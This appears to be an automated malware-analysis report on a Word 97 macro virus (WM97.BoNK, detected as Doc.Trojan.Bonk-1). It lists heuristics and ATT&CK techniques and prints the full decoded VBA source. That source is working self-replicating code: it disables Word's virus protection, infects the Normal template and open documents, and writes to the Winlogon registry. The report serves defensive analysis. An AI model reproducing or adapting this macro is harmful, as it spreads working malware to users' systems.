MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an AutoOpen subroutine, identified by the 'OLE_VBA_AUTOOPEN' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristics. This macro attempts to export itself to 'c:\win32bonk.sys' and then conditionally imports it into the Normal template or the active document. It also modifies the LegalNoticeCaption and LegalNoticeText registry values under Winlogon, likely to display a custom message on system startup. The ClamAV detection 'Doc.Trojan.Bonk-1' further supports its malicious nature.
Heuristics 5
-
ClamAV: Doc.Trojan.Bonk-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Bonk-1
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1339 bytes |
SHA-256: a47d0f32ead3562b6924b2237944daca7f07bde64f92fd2295557f954cdb82b1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "BoNK"
Sub auTOOPen()
On Error Resume Next
z$ = "c:\win32bonk.sys"
bo = "BoNK"
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False: Options.SaveNormalPrompt = False
Application.VBE.ActiveVBProject.VBComponents(bo).Export z$
Set ad = ActiveDocument.VBProject.VBComponents
Set nt = NormalTemplate.VBProject.VBComponents
ai = 0
ni = 0
For x = 1 To ad.Count
If ad(x).Name = bo Then ai = -1
Next x
For y = 1 To nt.Count
If nt(y).Name = bo Then ni = -1
Next y
If ni = 0 And ai = -1 Then nt.import z$: NormalTemplate.Save
If ni = -1 And ai = 0 Then ad.import z$: ActiveDocument.Save
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon", "LegalNoticeCaption") = "-=[WM97.BoNK]=-"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon", "LegalNoticeText") = "| This is WM97.BoNK of the .BoNK-family by Jack Twoflower -=[LzØ]=- |"
End Sub
Sub ExtrasMakro()
End Sub
Sub AnsichtVBCode()
End Sub
Sub AnsichtCode()
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.